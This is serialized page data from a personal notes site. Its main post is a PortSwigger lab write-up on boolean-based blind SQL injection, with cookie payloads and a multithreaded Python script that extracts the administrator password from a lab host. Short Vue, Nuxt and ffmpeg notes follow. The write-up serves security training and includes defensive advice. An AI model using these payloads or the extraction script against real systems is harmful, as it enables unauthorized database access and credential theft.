[{"data":1,"prerenderedAt":1408},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Ffrontend":3,"recent-en":30,"posts-en-frontend":1148},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":17,"extension":22,"image":6,"meta":23,"navigation":24,"path":25,"seo":26,"sitemap":27,"stem":28,"tags":6,"__hash__":29},"content_en\u002Fnotes\u002Ffrontend\u002Findex.md","Frontend",null,{"type":8,"value":9,"toc":18},"minimark",[10,14],[11,12,5],"h1",{"id":13},"frontend",[15,16,17],"p",{},"Notes on Vue.js, Nuxt and web development.",{"title":19,"searchDepth":20,"depth":20,"links":21},"",2,[],"md",{},true,"\u002Fnotes\u002Ffrontend",{"title":5,"description":17},{"loc":25},"notes\u002Ffrontend\u002Findex","f1Iy8CYYY-MOXQ22QxD3y40ySWj4Br5CFI3y3fQwgWE",[31,667,969,1020],{"id":32,"title":33,"author":34,"body":35,"date":654,"description":655,"extension":22,"image":6,"meta":656,"navigation":24,"path":657,"seo":658,"sitemap":659,"stem":660,"tags":661,"__hash__":666},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":36,"toc":643},[37,41,46,53,73,77,103,107,114,117,126,133,136,174,177,181,186,193,202,213,217,223,238,241,245,252,593,599,610,614,617,622,639],[11,38,40],{"id":39},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[42,43,45],"h2",{"id":44},"vulnerability","Vulnerability",[15,47,48,52],{},[49,50,51],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[15,54,55,56,59,60,64,65,68,69,72],{},"In this variant (",[49,57,58],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[61,62,63],"code",{},"TRUE"," or ",[61,66,67],{},"FALSE",". By crafting conditions like ",[61,70,71],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[42,74,76],{"id":75},"lab","Lab",[15,78,79,82,83,90,93,96,97,99,102],{},[49,80,81],{},"Name:"," ",[84,85,89],"a",{"href":86,"rel":87},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[88],"nofollow","Blind SQL injection with conditional responses",[91,92],"br",{},[49,94,95],{},"Difficulty:"," Practitioner",[91,98],{},[49,100,101],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[42,104,106],{"id":105},"reconnaissance","Reconnaissance",[15,108,109,110,113],{},"The application stores a ",[61,111,112],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[15,115,116],{},"First, we confirm the injection point by appending a quote:",[118,119,124],"pre",{"className":120,"code":122,"language":123},[121],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[61,125,122],{"__ignoreMap":19},[15,127,128,129,132],{},"The \"Welcome back!\" message still appears — the comment ",[61,130,131],{},"--"," neutralizes the rest of the original query, so the injection is active.",[15,134,135],{},"Next, we verify boolean behavior:",[118,137,141],{"className":138,"code":139,"language":140,"meta":19,"style":19},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[61,142,143,151,156,162,168],{"__ignoreMap":19},[144,145,148],"span",{"class":146,"line":147},"line",1,[144,149,150],{},"-- TRUE condition → \"Welcome back!\" appears\n",[144,152,153],{"class":146,"line":20},[144,154,155],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[144,157,159],{"class":146,"line":158},3,[144,160,161],{"emptyLinePlaceholder":24},"\n",[144,163,165],{"class":146,"line":164},4,[144,166,167],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[144,169,171],{"class":146,"line":170},5,[144,172,173],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,175,176],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[42,178,180],{"id":179},"exploitation","Exploitation",[182,183,185],"h3",{"id":184},"step-1-determine-password-length","Step 1 — Determine password length",[15,187,188,189,192],{},"We use ",[61,190,191],{},"LENGTH()"," to find how many characters the administrator's password has:",[118,194,196],{"className":138,"code":195,"language":140,"meta":19,"style":19},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[61,197,198],{"__ignoreMap":19},[144,199,200],{"class":146,"line":147},[144,201,195],{},[15,203,204,205,208,209,212],{},"\"Welcome back!\" appears at ",[61,206,207],{},"= 20"," — the password is ",[49,210,211],{},"20 characters long",".",[182,214,216],{"id":215},"step-2-extract-characters","Step 2 — Extract characters",[15,218,188,219,222],{},[61,220,221],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[118,224,226],{"className":138,"code":225,"language":140,"meta":19,"style":19},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[61,227,228,233],{"__ignoreMap":19},[144,229,230],{"class":146,"line":147},[144,231,232],{},"-- Is the 1st character 'w'?\n",[144,234,235],{"class":146,"line":20},[144,236,237],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,239,240],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[182,242,244],{"id":243},"step-3-automate-with-python","Step 3 — Automate with Python",[15,246,247,248,251],{},"The script uses ",[61,249,250],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[118,253,257],{"className":254,"code":255,"language":256,"meta":19,"style":19},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[61,258,259,264,269,274,278,283,289,295,301,306,312,318,324,329,334,340,346,352,358,364,369,374,380,386,392,398,404,410,416,422,427,432,438,444,450,455,461,467,472,477,483,489,495,501,507,513,519,525,531,537,542,547,553,559,565,571,576,581,587],{"__ignoreMap":19},[144,260,261],{"class":146,"line":147},[144,262,263],{},"import requests\n",[144,265,266],{"class":146,"line":20},[144,267,268],{},"import string\n",[144,270,271],{"class":146,"line":158},[144,272,273],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[144,275,276],{"class":146,"line":164},[144,277,161],{"emptyLinePlaceholder":24},[144,279,280],{"class":146,"line":170},[144,281,282],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[144,284,286],{"class":146,"line":285},6,[144,287,288],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[144,290,292],{"class":146,"line":291},7,[144,293,294],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[144,296,298],{"class":146,"line":297},8,[144,299,300],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[144,302,304],{"class":146,"line":303},9,[144,305,161],{"emptyLinePlaceholder":24},[144,307,309],{"class":146,"line":308},10,[144,310,311],{},"CHARSET = string.ascii_lowercase + string.digits\n",[144,313,315],{"class":146,"line":314},11,[144,316,317],{},"MAX_LENGTH = 30\n",[144,319,321],{"class":146,"line":320},12,[144,322,323],{},"THREADS = 10\n",[144,325,327],{"class":146,"line":326},13,[144,328,161],{"emptyLinePlaceholder":24},[144,330,332],{"class":146,"line":331},14,[144,333,161],{"emptyLinePlaceholder":24},[144,335,337],{"class":146,"line":336},15,[144,338,339],{},"def check(sql_condition: str) -> bool:\n",[144,341,343],{"class":146,"line":342},16,[144,344,345],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[144,347,349],{"class":146,"line":348},17,[144,350,351],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[144,353,355],{"class":146,"line":354},18,[144,356,357],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[144,359,361],{"class":146,"line":360},19,[144,362,363],{},"    return \"Welcome back\" in r.text\n",[144,365,367],{"class":146,"line":366},20,[144,368,161],{"emptyLinePlaceholder":24},[144,370,372],{"class":146,"line":371},21,[144,373,161],{"emptyLinePlaceholder":24},[144,375,377],{"class":146,"line":376},22,[144,378,379],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[144,381,383],{"class":146,"line":382},23,[144,384,385],{},"    print(\"[*] Determining password length...\")\n",[144,387,389],{"class":146,"line":388},24,[144,390,391],{},"    for n in range(1, max_len + 1):\n",[144,393,395],{"class":146,"line":394},25,[144,396,397],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[144,399,401],{"class":146,"line":400},26,[144,402,403],{},"        if check(condition):\n",[144,405,407],{"class":146,"line":406},27,[144,408,409],{},"            print(f\"[+] Password length: {n}\")\n",[144,411,413],{"class":146,"line":412},28,[144,414,415],{},"            return n\n",[144,417,419],{"class":146,"line":418},29,[144,420,421],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[144,423,425],{"class":146,"line":424},30,[144,426,161],{"emptyLinePlaceholder":24},[144,428,430],{"class":146,"line":429},31,[144,431,161],{"emptyLinePlaceholder":24},[144,433,435],{"class":146,"line":434},32,[144,436,437],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[144,439,441],{"class":146,"line":440},33,[144,442,443],{},"    for c in CHARSET:\n",[144,445,447],{"class":146,"line":446},34,[144,448,449],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[144,451,453],{"class":146,"line":452},35,[144,454,403],{},[144,456,458],{"class":146,"line":457},36,[144,459,460],{},"            return pos, c\n",[144,462,464],{"class":146,"line":463},37,[144,465,466],{},"    return pos, \"?\"\n",[144,468,470],{"class":146,"line":469},38,[144,471,161],{"emptyLinePlaceholder":24},[144,473,475],{"class":146,"line":474},39,[144,476,161],{"emptyLinePlaceholder":24},[144,478,480],{"class":146,"line":479},40,[144,481,482],{},"def get_password(length: int) -> str:\n",[144,484,486],{"class":146,"line":485},41,[144,487,488],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[144,490,492],{"class":146,"line":491},42,[144,493,494],{},"    password = [\"?\"] * length\n",[144,496,498],{"class":146,"line":497},43,[144,499,500],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[144,502,504],{"class":146,"line":503},44,[144,505,506],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[144,508,510],{"class":146,"line":509},45,[144,511,512],{},"        for future in as_completed(futures):\n",[144,514,516],{"class":146,"line":515},46,[144,517,518],{},"            pos, char = future.result()\n",[144,520,522],{"class":146,"line":521},47,[144,523,524],{},"            password[pos - 1] = char\n",[144,526,528],{"class":146,"line":527},48,[144,529,530],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[144,532,534],{"class":146,"line":533},49,[144,535,536],{},"    return \"\".join(password)\n",[144,538,540],{"class":146,"line":539},50,[144,541,161],{"emptyLinePlaceholder":24},[144,543,545],{"class":146,"line":544},51,[144,546,161],{"emptyLinePlaceholder":24},[144,548,550],{"class":146,"line":549},52,[144,551,552],{},"def main():\n",[144,554,556],{"class":146,"line":555},53,[144,557,558],{},"    length = get_password_length()\n",[144,560,562],{"class":146,"line":561},54,[144,563,564],{},"    password = get_password(length)\n",[144,566,568],{"class":146,"line":567},55,[144,569,570],{},"    print(f\"\\n[+] Password: {password}\")\n",[144,572,574],{"class":146,"line":573},56,[144,575,161],{"emptyLinePlaceholder":24},[144,577,579],{"class":146,"line":578},57,[144,580,161],{"emptyLinePlaceholder":24},[144,582,584],{"class":146,"line":583},58,[144,585,586],{},"if __name__ == \"__main__\":\n",[144,588,590],{"class":146,"line":589},59,[144,591,592],{},"    main()\n",[15,594,595,596],{},"Result: ",[61,597,598],{},"wfa3n32o7a6mb4xon7d6",[15,600,601,602,605,606,609],{},"Log in to ",[61,603,604],{},"\u002Fmy-account"," as ",[61,607,608],{},"administrator"," with this password — lab solved.",[42,611,613],{"id":612},"conclusion","Conclusion",[15,615,616],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[15,618,619],{},[49,620,621],{},"How to defend:",[623,624,625,629,632],"ul",{},[626,627,628],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[626,630,631],{},"Never concatenate user input directly into SQL strings",[626,633,634,635,638],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[61,636,637],{},"users"," table",[640,641,642],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":644},[645,646,647,648,653],{"id":44,"depth":20,"text":45},{"id":75,"depth":20,"text":76},{"id":105,"depth":20,"text":106},{"id":179,"depth":20,"text":180,"children":649},[650,651,652],{"id":184,"depth":158,"text":185},{"id":215,"depth":158,"text":216},{"id":243,"depth":158,"text":244},{"id":612,"depth":20,"text":613},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":33,"description":655},{"loc":657},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[662,663,664,665],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",{"id":668,"title":669,"author":670,"body":671,"date":958,"description":959,"extension":22,"image":6,"meta":960,"navigation":24,"path":961,"seo":962,"sitemap":963,"stem":964,"tags":965,"__hash__":968},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()","Oleg Anuchin",{"type":8,"value":672,"toc":956},[673,676,686,697,953],[11,674,669],{"id":675},"creating-component-state-like-options-api-using-reactive",[15,677,678,679,682,683,212],{},"In Options API we can use ",[61,680,681],{},"data()"," function to create a state for the component, then access it directly via ",[61,684,685],{},"this",[15,687,688,689,692,693,696],{},"Using ",[61,690,691],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[61,694,695],{},"ref()"," for multiple state properties.",[118,698,702],{"className":699,"code":700,"language":701,"meta":19,"style":19},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[61,703,704,717,733,737,748,757,775,786,794,799,803,823,837,841,845,852,863,868,873,878,883,892,896,905,919,932,945],{"__ignoreMap":19},[144,705,706,710,714],{"class":146,"line":147},[144,707,709],{"class":708},"sVt8B","\u003C",[144,711,713],{"class":712},"s9eBZ","script",[144,715,716],{"class":708},">\n",[144,718,719,723,726,729],{"class":146,"line":20},[144,720,722],{"class":721},"szBVR","import",[144,724,725],{"class":708}," { computed, reactive, toRefs } ",[144,727,728],{"class":721},"from",[144,730,732],{"class":731},"sZZnC"," 'vue'\n",[144,734,735],{"class":146,"line":158},[144,736,161],{"emptyLinePlaceholder":24},[144,738,739,742,745],{"class":146,"line":164},[144,740,741],{"class":721},"export",[144,743,744],{"class":721}," default",[144,746,747],{"class":708}," {\n",[144,749,750,754],{"class":146,"line":170},[144,751,753],{"class":752},"sScJk","  setup",[144,755,756],{"class":708},"() {\n",[144,758,759,762,766,769,772],{"class":146,"line":285},[144,760,761],{"class":721},"    const",[144,763,765],{"class":764},"sj4cs"," state",[144,767,768],{"class":721}," =",[144,770,771],{"class":752}," reactive",[144,773,774],{"class":708},"({\n",[144,776,777,780,783],{"class":146,"line":291},[144,778,779],{"class":708},"      price: ",[144,781,782],{"class":764},"2",[144,784,785],{"class":708},",\n",[144,787,788,791],{"class":146,"line":297},[144,789,790],{"class":708},"      quantity: ",[144,792,793],{"class":764},"5\n",[144,795,796],{"class":146,"line":303},[144,797,798],{"class":708},"    })\n",[144,800,801],{"class":146,"line":308},[144,802,161],{"emptyLinePlaceholder":24},[144,804,805,807,810,812,815,818,821],{"class":146,"line":314},[144,806,761],{"class":721},[144,808,809],{"class":764}," total",[144,811,768],{"class":721},[144,813,814],{"class":752}," computed",[144,816,817],{"class":708},"(() ",[144,819,820],{"class":721},"=>",[144,822,747],{"class":708},[144,824,825,828,831,834],{"class":146,"line":320},[144,826,827],{"class":721},"      return",[144,829,830],{"class":708}," state.price ",[144,832,833],{"class":721},"*",[144,835,836],{"class":708}," state.quantity\n",[144,838,839],{"class":146,"line":326},[144,840,798],{"class":708},[144,842,843],{"class":146,"line":331},[144,844,161],{"emptyLinePlaceholder":24},[144,846,847,850],{"class":146,"line":336},[144,848,849],{"class":721},"    return",[144,851,747],{"class":708},[144,853,854,857,860],{"class":146,"line":342},[144,855,856],{"class":721},"      ...",[144,858,859],{"class":752},"toRefs",[144,861,862],{"class":708},"(state),\n",[144,864,865],{"class":146,"line":348},[144,866,867],{"class":708},"      total\n",[144,869,870],{"class":146,"line":354},[144,871,872],{"class":708},"    }\n",[144,874,875],{"class":146,"line":360},[144,876,877],{"class":708},"  }\n",[144,879,880],{"class":146,"line":366},[144,881,882],{"class":708},"}\n",[144,884,885,888,890],{"class":146,"line":371},[144,886,887],{"class":708},"\u003C\u002F",[144,889,713],{"class":712},[144,891,716],{"class":708},[144,893,894],{"class":146,"line":376},[144,895,161],{"emptyLinePlaceholder":24},[144,897,898,900,903],{"class":146,"line":382},[144,899,709],{"class":708},[144,901,902],{"class":712},"template",[144,904,716],{"class":708},[144,906,907,910,912,915,917],{"class":146,"line":388},[144,908,909],{"class":708},"  \u003C",[144,911,15],{"class":712},[144,913,914],{"class":708},">Price: {{ price }}\u003C\u002F",[144,916,15],{"class":712},[144,918,716],{"class":708},[144,920,921,923,925,928,930],{"class":146,"line":394},[144,922,909],{"class":708},[144,924,15],{"class":712},[144,926,927],{"class":708},">Quantity: {{ quantity }}\u003C\u002F",[144,929,15],{"class":712},[144,931,716],{"class":708},[144,933,934,936,938,941,943],{"class":146,"line":400},[144,935,909],{"class":708},[144,937,15],{"class":712},[144,939,940],{"class":708},">Total: {{ total }}\u003C\u002F",[144,942,15],{"class":712},[144,944,716],{"class":708},[144,946,947,949,951],{"class":146,"line":406},[144,948,887],{"class":708},[144,950,902],{"class":712},[144,952,716],{"class":708},[640,954,955],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":957},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":669,"description":959},{"loc":961},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[701,966,967],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":970,"title":971,"author":670,"body":972,"date":1009,"description":1010,"extension":22,"image":6,"meta":1011,"navigation":24,"path":1012,"seo":1013,"sitemap":1014,"stem":1015,"tags":1016,"__hash__":1019},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":973,"toc":1007},[974,977,995,998,1004],[11,975,971],{"id":976},"how-to-upgrade-nuxt-3-project",[118,978,982],{"className":979,"code":980,"language":981,"meta":19,"style":19},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[61,983,984],{"__ignoreMap":19},[144,985,986,989,992],{"class":146,"line":147},[144,987,988],{"class":752},"yarn",[144,990,991],{"class":731}," nuxi",[144,993,994],{"class":731}," upgrade\n",[15,996,997],{},"Example output:",[118,999,1002],{"className":1000,"code":1001,"language":123},[121],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[61,1003,1001],{"__ignoreMap":19},[640,1005,1006],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":19,"searchDepth":20,"depth":20,"links":1008},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":971,"description":1010},{"loc":1012},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1017,701,1018],"nuxt","cli","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",{"id":1021,"title":1022,"author":670,"body":1023,"date":1136,"description":1137,"extension":22,"image":6,"meta":1138,"navigation":24,"path":1139,"seo":1140,"sitemap":1141,"stem":1142,"tags":1143,"__hash__":1147},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg",{"type":8,"value":1024,"toc":1134},[1025,1028,1031,1047,1058,1131],[11,1026,1022],{"id":1027},"batch-converting-flac-to-aiff-using-ffmpeg",[15,1029,1030],{},"You need ffmpeg to be installed. For macOS:",[118,1032,1034],{"className":979,"code":1033,"language":981,"meta":19,"style":19},"brew install ffmpeg\n",[61,1035,1036],{"__ignoreMap":19},[144,1037,1038,1041,1044],{"class":146,"line":147},[144,1039,1040],{"class":752},"brew",[144,1042,1043],{"class":731}," install",[144,1045,1046],{"class":731}," ffmpeg\n",[15,1048,1049,1050,1053,1054,1057],{},"This command will convert all ",[61,1051,1052],{},"*.flac"," files to ",[61,1055,1056],{},"*.aiff",":",[118,1059,1061],{"className":979,"code":1060,"language":981,"meta":19,"style":19},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[61,1062,1063],{"__ignoreMap":19},[144,1064,1065,1068,1071,1074,1077,1080,1083,1086,1089,1092,1095,1098,1101,1104,1107,1110,1113,1116,1119,1121,1123,1126,1128],{"class":146,"line":147},[144,1066,1067],{"class":721},"for",[144,1069,1070],{"class":708}," i ",[144,1072,1073],{"class":721},"in",[144,1075,1076],{"class":731}," *.flac",[144,1078,1079],{"class":708},"; ",[144,1081,1082],{"class":721},"do",[144,1084,1085],{"class":752}," ffmpeg",[144,1087,1088],{"class":764}," -i",[144,1090,1091],{"class":731}," \"",[144,1093,1094],{"class":708},"$i",[144,1096,1097],{"class":731},"\"",[144,1099,1100],{"class":764}," -write_id3v2",[144,1102,1103],{"class":764}," 1",[144,1105,1106],{"class":764}," -c:v",[144,1108,1109],{"class":731}," copy",[144,1111,1112],{"class":731}," \"${",[144,1114,1115],{"class":708},"i",[144,1117,1118],{"class":721},"%",[144,1120,212],{"class":731},[144,1122,833],{"class":721},[144,1124,1125],{"class":731},"}.aiff\"",[144,1127,1079],{"class":708},[144,1129,1130],{"class":721},"done\n",[640,1132,1133],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki 